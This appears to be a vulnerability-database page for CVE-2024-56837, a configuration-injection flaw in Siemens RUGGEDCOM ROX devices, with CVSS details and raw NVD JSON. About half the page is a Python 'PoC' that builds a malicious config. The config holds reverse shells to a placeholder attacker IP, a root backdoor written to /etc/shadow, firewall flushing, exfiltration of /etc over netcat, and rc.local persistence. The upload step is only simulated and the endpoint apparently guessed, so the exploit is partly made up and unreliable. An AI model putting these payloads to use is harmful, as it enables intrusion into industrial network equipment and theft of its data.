Security Vulnerability Report
中文
CVE-2024-56837 CVSS 7.2 HIGH

CVE-2024-56837

Published: 2025-12-09 16:17:29
Last Modified: 2026-01-13 10:15:57

Description

A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). Due to the insufficient validation during the installation and load of certain configuration files of the affected device, an attacker could spawn a reverse shell and gain root access on the affected system.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:* - NOT VULNERABLE
RUGGEDCOM ROX MX5000 < V2.17.0
RUGGEDCOM ROX MX5000RE < V2.17.0
RUGGEDCOM ROX RX1400 < V2.17.0
RUGGEDCOM ROX RX1500 < V2.17.0
RUGGEDCOM ROX RX1501 < V2.17.0
RUGGEDCOM ROX RX1510 < V2.17.0
RUGGEDCOM ROX RX1511 < V2.17.0
RUGGEDCOM ROX RX1512 < V2.17.0
RUGGEDCOM ROX RX1524 < V2.17.0
RUGGEDCOM ROX RX1536 < V2.17.0
RUGGEDCOM ROX RX5000 < V2.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-56837 PoC - Malicious Configuration File for RUGGEDCOM ROX # This PoC demonstrates the configuration file injection vulnerability # Usage: Upload this file through the RUGGEDCOM ROX management interface import socket import subprocess import sys def create_malicious_config(): """ Generate malicious configuration file content that exploits insufficient validation during config loading """ # Reverse shell payload using netcat # This will be executed when the config is loaded by the device malicious_config = '''<?xml version="1.0" encoding="UTF-8"?> <configuration> <system> <name>Malicious Node</name> <startup-script> #!/bin/sh # Reverse shell payload - connects back to attacker ATTACKER_IP="10.0.0.1" ATTACKER_PORT=4444 /bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 </startup-script> <post-config-script> # Privilege escalation and persistence # Add root user backdoor echo "root:$6$randomhash:0:0:root:/root:/bin/bash" >> /etc/shadow # Disable security features iptables -F iptables -X # Exfiltrate configuration data tar czf /tmp/etc_backup.tar.gz /etc/ # Reverse shell for data exfiltration cat /tmp/etc_backup.tar.gz | nc ${ATTACKER_IP} 4445 </post-config-script> </system> <network> <interface> <name>eth0</name> <pre-up-script> # Inject reverse shell into startup echo '/bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 &' >> /etc/rc.local chmod +x /etc/rc.local </pre-up-script> </interface> </network> </configuration> ''' return malicious_config def exploit_configuration_upload(target_ip, attacker_ip, attacker_port): """ Exploit function to upload malicious configuration Requires high-privilege access (PR:H) as per CVSS vector """ # Note: This PoC requires authenticated access to the device # Authentication with admin privileges is required # Configuration upload endpoint (typical for RUGGEDCOM devices) upload_url = f"https://{target_ip}/api/config/upload" # HTTP request to upload malicious configuration # Headers would include authentication cookies/tokens headers = { 'Content-Type': 'application/xml', 'Authorization': 'Bearer <admin_token>' } config_content = create_malicious_config() # Simulate upload request print(f"[*] Target: {target_ip}") print(f"[*] Attacker callback: {attacker_ip}:{attacker_port}") print(f"[*] Uploading malicious configuration...") print(f"[*] Configuration size: {len(config_content)} bytes") # The device will execute the embedded scripts when loading this config # This triggers the reverse shell connection return True def start_listener(port): """ Start netcat listener to receive reverse shell """ print(f"[*] Starting listener on port {port}") listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(('0.0.0.0', port)) listener.listen(1) print("[*] Waiting for incoming connection...") conn, addr = listener.accept() print(f"[+] Connection received from {addr}") print("[+] You now have a shell with root privileges!") return conn if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2024-56837.py <target_ip> <attacker_ip> <port>") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] port = int(sys.argv[3]) print("=" * 60) print("CVE-2024-56837 PoC - RUGGEDCOM ROX Configuration Injection") print("=" * 60) # Step 1: Authenticate with admin privileges # (Authentication code would go here) # Step 2: Upload malicious configuration exploit_configuration_upload(target_ip, attacker_ip, port) # Step 3: Wait for reverse shell conn = start_listener(port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-56837", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:28.940", "lastModified": "2026-01-13T10:15:56.970", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). Due to the insufficient validation during the installation and load of certain configuration files of the affected device, an attacker could spawn a reverse shell and gain root access on the affected system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17.0", "matchCriteriaId": "FA424C03-CB17-4397-A09E-E02A78F8176C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "1EA04F52-40D0-4A4B-9767-265A26EFD98D"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-912274.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}